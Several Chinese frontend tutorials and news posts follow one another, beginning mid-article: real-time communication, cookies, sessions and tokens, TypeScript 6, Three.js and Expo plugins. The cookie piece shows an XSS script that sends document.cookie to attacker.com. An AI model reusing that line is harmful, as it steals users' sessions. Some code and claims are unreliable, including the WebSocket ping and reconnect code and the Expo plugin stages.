3. 服务器  客户端:{message: "你的验证码是123456"}
4. 客户端:(收到消息后,立即再次发起长轮询)

实现示例

async function longPoll() {
  while (true) {
    try {
      const response = await fetch('/api/messages', {
        signal: AbortSignal.timeout(30000)  // 30秒超时
      });
      const data = await response.json();
      showNotification(data.message);
    } catch (e) {
      // 超时或出错时,继续发起下一次长轮询
    }
  }
}

长轮询的改进

改进点 说明
减少请求次数 无新消息时服务器保持连接,不立即响应
降低延迟 新消息产生时,服务器立即推送

长轮询的问题

问题 说明
连接频繁建立 每次收到消息后需重新建立HTTP连接
服务器压力大 每个客户端需占用一个服务端连接
高并发场景不适用 10万人同时在线,服务器需维护10万个挂起的请求

长轮询如同餐厅等位——拿号等待,服务员主动叫号。


方案三:WebSocket——建立持久双向通道

真正的"双向通信"解决方案来了。

WebSocket如同在客户端与服务器之间建立了一条专线电话:

  • 一次建立,长期保持
  • 双方可随时发送消息
  • 无需重复"握手确认"

WebSocket的工作原理

WebSocket的建立过程起始于HTTP,随后升级为不同的协议:

1. 客户端  服务器:GET /ws HTTP/1.1
   Host: example.com
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
   Sec-WebSocket-Version: 13

2. 服务器  客户端:HTTP/1.1 101 Switching Protocols
   Upgrade: websocket
   Connection: Upgrade
   Sec-WebSocket-Accept: s3pPLMBiTxaQ9kYG3hQwbA==

3. (握手完成,连接从HTTP升级为WebSocket协议)

4. 客户端  服务器:全双工消息传输,不再需要轮询

这就是著名的协议升级(Upgrade)机制——客户端发送Upgrade请求头,服务器同意后切换到WebSocket模式。

帧结构

WebSocket通信的基本单位是帧(Frame),而不是HTTP的请求/响应:

┌─────────────────────────────────────────────────────────────┐
  0                   1                   2                   3 
  0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 
 +-+---------------+-+---------------+-+---------------+-+-----+
 |F|R|R|R| opcode |M|     mask      |          payload len  |
 |I|S|S|S|        |A|               ||                          |
 |N|V|V|V|        |S|               ||
字段 说明
opcode 帧类型(0x0=continuation, 0x1=text, 0x2=binary, 0x8=close, 0x9=ping, 0xA=pong)
MASK 客户端发送给服务器时必须为1,帧内容使用masking key加密
payload len 数据长度(最多125字节,超过时使用扩展)

消息格式示例

// 客户端发送消息
socket.send(JSON.stringify({
  type: 'message',
  content: '你好,我想问一下订单的事'
}));

// 客户端接收消息
socket.onmessage = (event) => {
  const data = JSON.parse(event.data);
  console.log('收到消息:', data.content);
};

WebSocket事件生命周期

┌─────────────────────────────────────────────────────────┐
                   WebSocket连接                            
                                                          
  onopen          onmessage          onclose           
  (连接建立)        (接收消息)           (连接关闭)         
                                                          
               onerror                                  
               (连接错误)                                 
└─────────────────────────────────────────────────────────┘

WebSocket支持ping/pong帧用于心跳检测,比自定义JSON消息更轻量。

WebSocket与HTTP对比

特性 HTTP WebSocket
方向 单向(客户端发请求,服务器响应) 双向(全双工)
连接 每次请求新建 一次建立,长期保持
实时性 取决于轮询频率 真正的实时(毫秒级)
资源消耗 高(频繁建连断连) 低(单一连接)
使用场景 查询、表单提交 聊天、实时协作、在线游戏

方案四:SSE——服务器单向推送

有时仅需服务器向客户端推送,无需双向通信。

典型场景:

  • 股票行情:服务器持续推送价格变动
  • 新闻推送:服务器通知突发事件
  • 邮件提醒:收到新邮件时通知

**SSE(Server-Sent Events)**专为此类场景设计。

SSE的工作方式

SSE如同接收广播——打开收音机后,电台持续播报,只能听无法回应。

实现示例

// 客户端
const eventSource = new EventSource('/api/notifications');

eventSource.onmessage = (event) => {
  console.log('收到通知:', event.data);
};

eventSource.addEventListener('stock', (event) => {
  const stockData = JSON.parse(event.data);
  updateStockPrice(stockData);
});
// 服务器(Node.js示例)
app.get('/api/notifications', (req, res) => {
  res.writeHead(200, {
    'Content-Type': 'text/event-stream',
    'Cache-Control': 'no-cache',
    'Connection': 'keep-alive'
  });

  const interval = setInterval(() => {
    res.write(`data: ${JSON.stringify({time: Date.now()})}\n\n`);
  }, 1000);

  req.on('close', () => {
    clearInterval(interval);
  });
});

SSE事件格式

data: {"msg": "第一条消息"}

data: {"msg": "第二条消息"}

id: 10
data: {"msg": "带ID的消息"}

event: stock
data: {"price": 123.45}
字段 说明
data: 消息内容,可多行
id: 事件ID,浏览器自动记录,断了可自动续传
event: 自定义事件类型
retry: 断开后重连间隔(毫秒)

SSE的特点

特性 说明
单向 仅服务器可推送,浏览器仅能接收
基于HTTP 无需特殊协议,兼容性好
自动重连 浏览器自动维护,连接断开后自动恢复
EventSource API 原生浏览器支持,实现简单

深入了解实时通信技术 🔬

方案对比总览

技术 双向通信 连接类型 实时性 资源消耗 实现复杂度
短轮询 短连接 差(秒级)
长轮询 长连接 中(亚秒级)
WebSocket 长连接 优(毫秒级)
SSE 长连接 优(毫秒级)

WebSocket心跳机制

TCP 连接长时间无数据传输时,中间设备(如防火墙、负载均衡器)可能主动断开连接。 WebSocket 需定期发送心跳包保持连接活跃:

// 使用ping/pong帧(协议级)
const pingInterval = setInterval(() => {
  if (socket.readyState === WebSocket.OPEN) {
    socket.ping();
  }
}, 30000);

socket.on('pong', () => {
  console.log('收到pong响应,连接正常');
});

断线重连策略

网络波动时连接可能中断,需实现指数退避重连:

function connect() {
  const socket = new WebSocket('wss://example.com/ws');
  let retryDelay = 1000;
  const maxDelay = 30000;

  socket.onclose = () => {
    console.log(`连接断开,${retryDelay}ms后重连...`);
    setTimeout(() => {
      connect();
      retryDelay = Math.min(retryDelay * 2, maxDelay);
    }, retryDelay);
  };

  socket.onerror = (error) => {
    console.error('连接错误:', error);
  };
}

WebSocket协议的握手细节

WebSocket握手基于HTTP,必须遵守同源策略。服务器响应中的Sec-WebSocket-Accept验证方式:

const crypto = require('crypto');
const key = 'dGhlIHNhbXBsZSBub25jZQ==';
const accept = crypto
  .createHash('sha1')
  .update(key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')
  .digest('base64');
// 返回值应为 's3pPLMBiTxaQ9kYG3hQwbA=='

真实的即时通讯系统是怎么实现的?

简化架构

┌─────────────────────────────────────────────────────────────┐
                        IM服务器集群                           
                                                             
  ┌──────────────┐   ┌──────────────┐   ┌──────────────┐    
     消息Router        消息存储           推送服务       
    (一致性哈希)       (历史消息)       (APNs/FCM)      
  └──────┬───────┘   └──────┬───────┘   └──────┬───────┘    
└─────────┼──────────────────┼──────────────────┼─────────────┘
                                              
                                              
┌─────────────────────────────────────────────────────────────┐
                        客户端                                 
                                                              
  WebSocket长连接     本地消息数据库       系统级推送通知         
  (在线时实时通信)     (消息缓存)           (离线时触达)         
└─────────────────────────────────────────────────────────────┘

消息发送完整流程

1. 客户端A  服务器:POST /api/messages
   {to: "用户B", content: "在吗?", clientMsgId: "uuid_xxx"}

2. 服务器  消息存储:写入消息
   INSERT INTO messages (id, from, to, content, status)
   VALUES ("msg_yyy", "A", "B", "在吗?", "pending")

3. 服务器  消息Router:查询用户B的在线状态
   Redis GET user:B:online   "ws_session_123"

4. 用户B在线:
   服务器  用户B:(WebSocket推送) {type: "message", content: "在吗?"}
   服务器  用户A:(HTTP响应) {code: 0, msgId: "msg_yyy"}
   服务器  消息存储:UPDATE messages SET status = "delivered"

5. 用户B离线:
   服务器  推送服务:发送APNs/FCM推送
   服务器  消息存储:UPDATE messages SET status = "pending_push"

消息幂等性

网络异常时客户端可能重复发送消息。服务器通过唯一消息ID实现幂等:

async function handleMessage(msg) {
  // 检查是否已处理过
  const exists = await redis.get(`msg:processed:${msg.clientMsgId}`);
  if (exists) {
    return { code: 0, duplicate: true };
  }

  // 写入数据库
  await db.saveMessage(msg);

  // 标记为已处理,设置过期时间
  await redis.setex(`msg:processed:${msg.clientMsgId}`, 86400, '1');

  // 推送给接收方
  await pushToRecipient(msg);

  return { code: 0, msgId: msg.id };
}

消息确认机制

客户端发送消息后需等待服务器确认(ack),未确认则重试:

发送消息  等待ack(超时3s)→ 未收到  重试(最多3次)→ 仍未确认  显示"发送失败"

WebSocket层的ping/pong与业务层的消息确认是两种独立机制:

// 业务层消息确认
socket.send(JSON.stringify({
  type: 'message',
  id: 'msg_123',
  content: '在吗?',
  requiresAck: true
}));

// 服务端收到后回复
socket.send(JSON.stringify({
  type: 'ack',
  id: 'msg_123',
  timestamp: 1699999999
}));

离线消息与推送

用户离线时,消息暂存服务器,通过系统级推送服务触达:

平台 推送服务
iOS APNs(Apple Push Notification service)
Android FCM(Firebase Cloud Messaging)

推送 payload 示例:

{
  "to": "用户设备Token",
  "notification": {
    "title": "微信消息",
    "body": "张三:在吗?"
  },
  "data": {
    "msgId": "msg_yyy",
    "conversationId": "conv_zzz"
  }
}

总结:技术选型指南

场景 推荐方案 理由
聊天应用、在线游戏 WebSocket 需真正的双向实时通信
股票行情、直播弹幕 WebSocket / SSE 需高速双向/单向推送
新闻推送、系统通知 SSE 仅需服务器单向推送
低频检查类需求 短轮询 / 长轮询 实现简单,无持久连接需求
App离线推送 APNs / FCCM 应用关闭时仍需触达用户

写在最后

现在应该明白了:

  • 短轮询 = 持续敲门确认对方在不在,资源消耗大
  • 长轮询 = 通话等待,占用连接但减少无效请求
  • WebSocket = 专线电话,一次建立永久使用
  • SSE = 听广播,服务器单向推送
  • 微信 = 技术组合:WebSocket实时通信 + 消息持久化 + APNs/FCM离线推送 + 确认重试机制

发一条微信消息,背后可能经历了一次HTTP请求、一次WebSocket推送、一次APNs/FCM离线推送,才能最终呈现在屏幕上。

技术不复杂,但组合起来,创造了"秒回"的用户体验。

为什么关掉浏览器再打开,你还是登录状态?

你有没有想过一个问题:为什么关掉浏览器再打开,之前登录的网站还是登录状态?浏览器重启了,凭什么还记得你是谁?

今天,我用会员卡的故事,来讲讲Cookie和Session到底是怎么回事。


原文地址

墨渊书肆/为什么关掉浏览器再打开,你还是登录状态?


浏览器是怎么"记住"你的?

想象一下你去一家健身房。

第一次去,前台会让你填表,然后给你一张会员卡。以后每次去,你只需要出示会员卡,前台就知道你是谁了。

浏览器也是一样的道理。

你登录一个网站后,网站会给你发一张"会员卡"——这就是Cookie。下次再来,直接出示"会员卡",网站就知道你是谁了。


Cookie是什么?

Cookie就是浏览器存的一段小数据,就像一张会员卡。

当你登录成功后,服务器会给你发一张"会员卡":

Set-Cookie: userId=12345; expires=Fri, 31 Dec 2026 23:59:59 GMT; path=/; HttpOnly; Secure

这句话翻译成人话就是:

  • 「这是12345号会员的卡」(userId=12345)
  • 「有效期到2026年12月31日」(expires)
  • 「在整个网站都有效」(path=/)
  • 「JavaScript无法读取」(HttpOnly)
  • 「只能用HTTPS发送」(Secure)

浏览器收到后,就会把这张"会员卡"存起来。以后你每次访问这个网站,浏览器都会自动带上这张卡:

Cookie: userId=12345

服务器一看:「哦,这是12345号会员,之前来过的。」

深入了解Cookie 🔬

Cookie是HTTP协议的一部分,由Set-Cookie响应头设置,由Cookie请求头发送。

一个标准的Cookie包含以下属性:

属性 作用 例子
name=value Cookie的名称和值 sessionId=abc123
Expires 过期时间 Expires=Wed, 01 Jan 2027 00:00:00 GMT
Max-Age 多少秒后过期 Max-Age=3600
Path 生效路径 Path=/
Domain 生效域名 Domain=example.com
Secure 仅HTTPS发送 Secure
HttpOnly JS无法读取 HttpOnly
SameSite 跨站策略 SameSite=Strict

每个浏览器都有自己的Cookie存储:

  • Chrome/Edge:SQLite数据库
  • Firefox:JSON文件
  • Safari:二进制文件

浏览器会根据Domain + Path + SameSite三个规则决定是否发送Cookie。


Session是什么?

还是健身房的例子。

你有会员卡(Cookie),但健身房还需要知道你的详细信息:姓名、电话、套餐类型、健身记录……

这些信息存在哪?健身房后台的电脑里

每次你出示会员卡,前台就在电脑里查:「12345号会员,信息如下……」

这个后台记录,就是Session

深入了解Session 🔬

Session是服务器端的状态管理机制。

┌─────────────────────────────────────────────────────────────┐
                        服务器                                
  ┌──────────────┐    ┌──────────────┐    ┌──────────────┐ 
   Session ID        Session ID        Session ID    
   abc123            def456            ghi789        
   {user:张三}       {user:李四}       {user:王五}   
  └──────────────┘    └──────────────┘    └──────────────┘ 
└─────────────────────────────────────────────────────────────┘
         
          sessionId=abc123 (Cookie)
         
┌─────────────────────────────────────────────────────────────┐
                        浏览器                                
  Cookie: sessionId=abc123                                   
└─────────────────────────────────────────────────────────────┘

Session的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器  Redis/内存:创建 Session {
       sessionId: "abc123",
       userId: 12345,
       username: "张三",
       loginTime: "2026-01-01 10:00:00",
       expireTime: "2026-01-02 10:00:00"
   }
4. 服务器  客户端:Set-Cookie: sessionId=abc123; HttpOnly

服务端Session存储对比:

存储方式 优点 缺点
内存 重启丢失、无法分布式
Redis 快、持久、可分布式 需要额外组件
数据库 持久

为什么关掉浏览器再打开,还是登录状态?

这就涉及到Cookie的有效期了。

Cookie有两种:

类型 有效期 举例
会话Cookie 关掉浏览器就失效 网银登录(安全)
持久Cookie 到指定日期才失效 购物网站记住登录(方便)

如果没有设置expires,那就是会话Cookie——关掉浏览器,"会员卡"就失效了。

但如果设置了有效期,那这张"会员卡"可以管好几年!

深入了解Cookie有效期 🔬

会话Cookie vs 持久Cookie的区别:

# 会话Cookie(没有Expires/Max-Age)
Set-Cookie: sessionId=abc123

# 持久Cookie
Set-Cookie: sessionId=abc123; Expires=Wed, 01 Jan 2027 00:00:00 GMT

换个浏览器为什么登录失效了?因为Cookie存在浏览器本地,不同浏览器有独立存储,互不相通。


Cookie有哪些问题?

Cookie虽然好用,但也有不少坑:

  1. 大小限制:一个Cookie最多4KB,存不了太多数据
  2. 明文传输:HTTP请求不加密,被人抓包就完了
  3. 会被XSS偷走:攻击者通过JavaScript就能拿到你的Cookie
  4. 不能跨域:baidu.com的Cookie不会发给google.com

深入了解Cookie安全问题 🔬

为什么Cookie容易出问题?

因为Cookie是明文传输的!HTTP请求长这样:

GET /profile HTTP/1.1
Host: example.com
Cookie: userId=12345; sessionId=abc123

用Wireshark等工具轻松就能看到你的Cookie。

XSS攻击是什么?

攻击者在网站评论区偷偷注入一段JavaScript代码:

// 攻击者在网站评论区注入这段代码
<script>
  fetch('https://attacker.com?cookie=' + document.cookie);
</script>

当其他用户访问这个页面时,这段代码就会悄悄执行,把大家的Cookie发送给攻击者的服务器。

怎么防护?

给Cookie加上安全属性:

Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Strict
  • HttpOnly:JavaScript无法读取,防止XSS偷Cookie
  • Secure:只能用HTTPS发送,防止抓包
  • SameSite:阻止CSRF攻击

Token:更好的方案?

正因为Cookie有这些问题,现在很多网站用Token来代替Session。

Token就像一张临时通行证

  • 你登录成功后,服务器给你发一个Token
  • 以后每次请求,带上这个Token
  • 服务器验证Token,而不是查Session

深入了解Token 🔬

Token的工作流程:

1. 客户端  服务器:POST /login {username, password}
2. 服务器  数据库:验证用户名密码
3. 服务器:生成Token(签名)
4. 服务器  客户端:{token: "eyJhbGci..."}
5. 客户端  服务器:Authorization: Bearer eyJhbGci...
6. 服务器:验证Token签名,返回用户信息

Token vs Session 对比:

特征 Session Token
存储位置 服务器 客户端
服务器压力 存储所有Session 只验证签名
扩展性 需要Redis等中间件 无状态
跨域 受Cookie限制 任意发送

JWT:Token的一种格式 📄

JWT(JSON Web Token)是最常见的Token格式:

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IuW8lOWhlSIsImlhdCI6MTcwNjU5MjAwMCwiZXhwIjoxNzM4MTI4MDAwfQ.fgJ3k9a7b2c1d8e

拆开看是三部分:

┌────────────────────────────────────────────────────────────┐
 Header (头部) - Base64编码                                  
 { "alg": "HS256", "typ": "JWT" }                          
├────────────────────────────────────────────────────────────┤
 Payload (载荷) - Base64编码                                 
 { "sub": "1234567890", "name": "张三", "exp": 1738128000 }
├────────────────────────────────────────────────────────────┤
 Signature (签名) - 密钥加密                                 
 HMACSHA256(base64UrlEncode(header) + "." + ... , "密钥")  
└────────────────────────────────────────────────────────────┘

为什么JWT更高效? 服务器只需要验证签名,不用查询数据库


OAuth:第三方登录 🔐

你肯定见过"用微信登录""用Google登录"——这就是OAuth

OAuth让你授权别的应用访问你的信息,但不用告诉它你的密码。

深入了解OAuth 2.0 🔬

OAuth 2.0的完整流程(授权码模式):

用户  第三方App  授权服务器  资源服务器
                                  
点击登录  跳转页面   返回授权码    返回Token
                            
                    获取用户信息

OAuth的四种授权方式:

方式 适用场景 安全性
授权码 Web App ⭐⭐⭐⭐⭐
简化 纯前端SPA ⭐⭐⭐
密码模式 自己的产品 ⭐⭐
客户端模式 服务器对服务器 ⭐⭐⭐⭐

总结

类别 是什么 存哪 像什么
Cookie 浏览器存的小数据 浏览器 会员卡
Session 服务器存的用户档案 服务器 健身房后台档案
Token 验证身份的令牌 客户端 临时通行证
OAuth 第三方授权 - 让别人帮你开门,但不给钥匙

写在最后

现在你应该懂了:

  • Cookie = 会员卡,浏览器帮你保管
  • Session = 健身房档案,服务器帮你保管
  • Token = 临时通行证,比Cookie更灵活
  • OAuth = 授权别人访问你的信息,不用给密码
  • 关掉浏览器还是登录状态 = 你的"会员卡"还没过期

下次登录时看到「记住我」或「用微信登录」,你就知道——哦,背后原来是这么回事呢。

TypeScript 6 官宣,JS “最后之舞“,版本升级踩雷指南

今日要闻

打破信息壁垒,走近全球前端。Hello World 大家好,我是林语冰。

TypeScript 团队官宣,TypeScript v6.0 主版本正式发布,这也是基于 JavaScript 实现的最后一个主版本。

TypeScript v7 开始,TypeScript 将正式移植到 Go 语言,利用原生代码和共享内存多线程提升性能。目前,我们已经可以通过 VS Code 扩展或 npm 手动安装,抢先体验 TypeScript-Go 原生预览版了。

TypeScript v6 是主版本更新,所以此版本会涵盖新功能支持和破坏性更新,主要用于当前版本和基于 Go 语言版本的过渡。换而言之,如果你的项目能顺利迁移到 v6,未来迁移到 v7 的阻力也会更小。

JS 新功能支持

TypeScript v6 新增了 3 个最新的 JS 新功能,所以当我们使用这些新功能时,现在也能获得良好的类型提示。

Map 新方法

来看一段简单的 Vite 源码:

// Vite 源码
if (!hmrClient.dataMap.has(ownerPath)) {
  hmrClient.dataMap.set(ownerPath, {});
}

hmrClient.hotModulesMap.get(ownerPath);

这是一种常见的 Map 模式,先判断某个键是否存在,如果有就取值,没有就设置并读取默认值。

针对这种无聊的使用场景,Map 数据结构新增了 2 个实例方法,用于快速判断和设置某个键的默认值:

  • map.getOrInsert()
  • map.getOrInsertComputed()

我们使用 Map 新方法重构一下 Vite 源码:

hmrClient.hotModulesMap.getOrInsert(ownerPath, {});

这基本上是一个更精简的“方法糖“,一行代码消灭样板代码,更符合人体工程学。

Temporal API

日期和时间一直是 JS 开发中的痛点之一,过去我们经常借助 Moment.js 之类的工具库来改善开发体验。

新出的 Temporal API 被设计来取代 Date 对象,支持多种场景的日期和时间管理,无需安装依赖。

一个计算今天和明天的简单例子:

// 今天
let today = Temporal.Now.instant();
// 24 小时后的明天
let tomorrow = today.add({ hours: 24 });

console.log(`Today: ${today}`);
// Today: 2026-03-25T14:12:53.760909912Z
console.log(`Tomorrow: ${tomorrow}`);
// Tomorrow: 2026-03-26T14:12:53.760909912Z

此外,还有 RegExp.escape() 静态方法,用于保留字符串在构造正则时的字面量行为,这是 ES2025 的旧功能,示例就略过了。

这三大 JS 功能必知必会,最晚的功能今年也会正式发布,建议先学为敬!

项目更新

tsconfig.json 文件中,一些配置选项的默认值修改了。

编译选项现在默认启用严格的类型检查,不需要显式设置;"types": [] 默认为空数组,防止构建时无意包含多余的声明文件,你可以按需添加类型声明文件;如果你不介意自动加载所有声明文件,可以使用 "types": ["*"]

三种常见情况如下,任选其一:

{
  // 保留旧版行为,全部自动包含
  "types": ["*"],

  // 默认值
  "types": [],

  // 也可以像 Vite 源码一样,
  // 按需添加声明文件
  "types": ["node"]
}

lib 库声明也有所改动,dom 库现在包含了 dom.iterabledom.asynciterable 两个声明文件,所以可以简化配置。

{
  // v6 之前:
  "lib": ["dom", "dom.iterable", "dom.asynciterable"],
  // v6:
  "lib": ["dom"]
}

编译目标默认为当年的 ECMAScript 版本,比如现在是 ES2025,根据年份和最新标准自动更新。

默认的模块系统为 ESNext,也就是下一代的 ESM 模块,这不仅支持广为人知的 ES6 import 语句,还支持最新的导入属性等标准功能,弃用导入断言等过时语法;esModuleInterop 现在始终启用,让 ESM 和 CJS 的交互更安全。

// v6 之前:
import * as express from "express";
// 导入断言
import data from "./data.json" asserts { type: "json" };

// v6: esModuleInterop 启用
import express from "express";
// 导入属性
import data from "./data.json" with { type: "json" };

出于篇幅考虑,更完整的升级建议阅读官方文档最为妥当。

为了方便上手和学习,我把几个重要的默认配置总结到了这个配置中。

{
  "compilerOptions": {
    "strict": true,
    "target": "ES2025",
    "module": "ESNext",
    "esModuleInterop": true,
    "types": [],
    "rootDir": ".",
  },
}

这意味着,这些选项现在不需要我们自己配置也会启用了。可以看到,这些默认配置的改动基本上为了容易迁移到 TypeScript v7,拥抱现代化的前端工程。

其他更新

TypeScript v6 还新增了 Node 20 的新功能,支持 #/ 开头的子路径导入,要求配置 --moduleResolutionnodenextbundler

此外,TypeScript v6 的类型系统也有微妙的更新,比如没有 this 的方法不当做上下文敏感处理,引入--stableTypeOrdering Flag 对齐 TypeScript 7 的行为。

这些类型系统的技术细节比较复杂,本文不再一一展开,官方文档解释得很清楚,我读了三遍基本已经能看懂了。

破坏性更新

TypeScript v6 也弃用了一些过时的技术,或者不兼容 v7 的功能。

TypeScript v6 弃用了非主流的模块格式,包括 amd / umd / systemjs,因为后 ES6 时代的模块系统优先使用原生 ESM,偶尔使用 CJS。

同理,--moduleResolution 弃用 node / node10classic,Node 10 和经典的两种模块解析算法早已过时。

v6 还弃用了 ES5,最低输出版本要求至少是 ES2015,因为 IE 浏览器退役之后,现代浏览器基本都支持 ES6,ES5 市场份额几乎为零。

同理,--downlevelIteration 被弃用,因为这个配置主要用于将 ES6 的迭代器优雅降级到 ES5。ES5 和 IE 都无了,还要它做什么。

此外,v6 要求始终启用 --alwaysStrict true,因为 TypeScript v6 假设所有代码都开启 "use strict",因为现代 JS 开发基本会启用“阉割模式“,阉割掉那些乱七八糟的 JS 怪癖。

特别鸣谢

总体而言,TypeScript v6 主要做了两方面的工作,一个是新增一些 JS 的新功能,同步最新的 JS 标准;二是提供一个过渡版本,让用户未来迁移到基于 Go 原生版本的阻力最小化,提前对齐 v7 的部分行为。

TypeScript v6 是一个主版本更新,包含新功能和破坏性更新,整体目的旨在简化配置,提前适应现代化的 JavaScript 开发环境,为迁移 v7 奠定基础。

以上就是今日“前端快讯“的全部内容了,感谢大家按赞跟转发分享本文,你的手动支持是我坚持创作的不竭动力喔。

已经关注我的粉丝们,我们下期再见啦,掰掰~~

参考文献

TypeScript v6 官方博客:devblogs.microsoft.com/typescript/…

前端3D·Three.js一学就会系列: 第一个3D网站

各位前端伙伴们,大家好,我是阿峰。最近开始入坑前端3D建站,跟大家一起慢慢深入three.js做网站3D。


一、Three.js是什么?

官网

threejs.org/

three.js是JavaScript编写的WebGL第三方库。提供了非常多的3D显示功能。

官网示例效果尝鲜

请添加图片描述

二、使用步骤

1.引入three.js库

在线库

<script src="https://threejs.org/build/three.js"></script>

离线可以去官网threejs.org/docs/index.… 下载复制到项目所在的目录下 在这里插入图片描述

<script src="./three.js"></script>

2.使用方法

创建一个场景

const scene = new THREE.Scene();

创建一个透视摄像机

const camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 0.1, 1000 );
camera.position.z = 5;

参数:视野角度(FOV)、长宽比(aspect ratio)、近截面(near)和远截面(far) camera.position.z:透视摄像机位置

将渲染器添加到页面上

const renderer = new THREE.WebGLRenderer();
renderer.setSize( window.innerWidth, window.innerHeight );
document.body.appendChild( renderer.domElement );

创建一个立方体

const geometry = new THREE.BoxGeometry( 1, 1, 1 );
const material = new THREE.MeshBasicMaterial( { color: 0x00ff00 } );
const cube = new THREE.Mesh( geometry, material );
scene.add( cube );

BoxGeometry:立方体,参数为所有顶点和面 MeshBasicMaterial:材质,将应用到对象上,color设置了对象的颜色 Mesh:网格,几何体和几何体材质,作用 scene.add:添加到场景上

渲染场景

function animate() {
requestAnimationFrame( animate );
renderer.render( scene, camera );
}
animate();

requestAnimationFrame有很多的优点。最重要的一点或许就是当用户切换到其它的标签页时,它会暂停,因此不会浪费用户宝贵的处理器资源,也不会损耗电池的使用寿命。

立方体动起来

function animate() {
requestAnimationFrame( animate );
// 旋转方向,及大小
cube.rotation.x += 0.01;
cube.rotation.y += 0.01;

renderer.render( scene, camera );
};

animate();

完整代码(实例)

<html>
<head>
<meta charset="utf-8">
<title>My first three.js app</title>
<style>
body { margin: 0; }
</style>
</head>
<body>
<script src="./three.js"></script>
<!-- <script src="https://threejs.org/build/three.js"></script> -->
<script>
// 创建一个场景
const scene = new THREE.Scene();
const camera = new THREE.PerspectiveCamera( 75, window.innerWidth / window.innerHeight, 0.1, 1000 );
// 展示
const renderer = new THREE.WebGLRenderer();
renderer.setSize( window.innerWidth, window.innerHeight );
document.body.appendChild( renderer.domElement );
// 创建一个立方体
const geometry = new THREE.BoxGeometry( 1, 1, 1 );
const material = new THREE.MeshBasicMaterial( { color: 0x00ff00 } );
const cube = new THREE.Mesh( geometry, material );
scene.add( cube );

camera.position.z = 5;

function animate() {
requestAnimationFrame( animate );

cube.rotation.x += 0.01;
cube.rotation.y += 0.01;

renderer.render( scene, camera );
};

animate();
</script>
</body>
</html>

效果

在这里插入图片描述

总结

以上就是今天要讲的内容,本文仅仅简单介绍了three.js的使用,而three.js提供了非常多的3D显示功能,后续文章,我将带大家慢慢深入了解。


如果这篇这篇文章对您有帮助?关注、点赞、收藏,三连支持一下。 有疑问或想法?评论区见。 我们下期再见。

Expo插件开发完全指南:原理剖析与实战进阶

expo-plugin-illustration.png

引言

在Expo应用开发体系中,插件(Plugin)是一个核心概念,它贯穿于项目创建、开发、构建、发布的全生命周期。理解Expo插件的工作原理,不仅能够帮助开发者更好地配置和管理项目,还能够让他们有能力创建自定义插件来解决特定的业务需求。Expo的插件系统设计精妙,它以一种声明式的方式,在不修改原生代码的前提下,实现了功能扩展和能力增强。本文将深入剖析Expo插件的技术原理,并通过一个实际的业务插件开发案例,帮助读者掌握插件开发的核心技能。

Expo插件本质上是一种配置转换器,它在Expo工具链的不同阶段被调用,对项目配置进行读取、修改和增强。这种设计理念使得开发者可以通过JavaScript代码来控制原生平台的行为,无需编写原生代码即可实现复杂的功能扩展。例如,当我们需要启用应用的某些iOS权限或者配置Android的打包参数时,只需要在app.json的plugins数组中添加相应的插件配置,Expo就会在构建过程中自动处理这些配置的注入和整合。

插件系统的存在使得Expo在保持易用性的同时,具备了极大的灵活性。官方维护的expo-camera、expo-location、expo-notifications等模块都采用插件机制来实现各自的功能。同时,社区也贡献了大量优秀的插件,涵盖了从应用分析、推送服务到支付集成等各个方面。掌握插件开发技术,将使开发者能够构建出更加专业和强大的应用。

第一部分:Expo插件系统架构

1.1 插件的定义与角色

Expo插件是一种特殊的JavaScript模块,它导出一个配置函数,该函数接收当前配置对象作为参数,经过处理后返回修改后的配置对象。这种设计被称为"配置转换器"模式,它允许插件在构建流程的任何阶段介入并修改构建参数。插件可以读取项目文件、检查环境变量、与远程服务交互,甚至可以生成新的代码文件,只要最终返回一个有效的配置对象即可。

从技术角度来看,插件函数签名遵循以下规范:插件接收一个config对象和可选的metadata参数,返回一个经过处理的config对象。Config对象包含了Expo项目的所有配置信息,包括app.json的内容、平台特定的设置、环境变量等。Metadata则提供了插件被调用的上下文信息,如项目路径、Expo SDK版本等。这种设计让插件能够根据不同的上下文环境做出不同的响应。

插件在Expo工具链中扮演着多重角色。首先,它们是配置验证器,可以在配置生效前检查其合法性并提供错误提示。其次,插件是配置转换器,能够根据用户需求修改和增强配置内容。第三,插件是代码注入器,可以在构建过程中添加或修改源代码。最后,插件还是平台桥接器,帮助JavaScript代码与原生平台进行通信。

1.2 插件的执行时机

Expo插件的执行发生在Expo工具链的多个关键节点,每个节点都有其特定的用途和上下文环境。理解这些执行时机对于开发高效的插件至关重要。

在项目初始化阶段,当开发者运行npx create-expo-app或npx expo init命令时,插件会被调用来处理模板文件和配置。这个阶段主要用于设置项目的初始结构、添加必要的依赖、配置TypeScript等基础设置。此时执行的插件通常需要访问文件系统来创建或修改项目模板。

在开发服务器启动阶段,当执行npx expo start命令时,部分插件会被调用来验证开发环境的配置。这个阶段的插件通常不会修改配置,而是进行配置验证和环境检查。例如,某些插件会检查Android SDK或Xcode是否正确安装,确保开发者具备构建应用的基础条件。

构建阶段是插件执行的核心阶段,分为预构建(prebuild)、原生编译和最终打包三个子阶段。在预构建阶段,Expo会根据app.json和插件配置生成原生的Android和iOS项目文件。这个阶段执行的插件可以修改生成的原生代码、添加或修改原生依赖、配置平台特定的构建选项。在原生编译阶段,Expo调用各平台的编译工具链,插件不再介入。最后的打包阶段会将编译产物与应用资源整合成最终的可执行文件。

// 插件执行的典型时机示意
const pluginConfig = {
  // 预构建阶段执行
  prebuild: {
    ios: ['expo-build-properties', 'expo-dev-launcher'],
    android: ['expo-build-properties', 'expo-splash-screen']
  },
  // 构建阶段执行
  build: {
    ios: ['expo-camera', 'expo-location'],
    android: ['expo-camera', 'expo-location']
  },
  // 导出阶段执行
  export: ['expo-fonts', 'expo-asset']
};

1.3 插件配置解析

在Expo项目中,插件配置主要通过app.json(或app.config.js/app.config.ts)文件的plugins字段来声明。配置方式分为简单模式和扩展模式两种,不同的场景需要使用不同的配置策略。

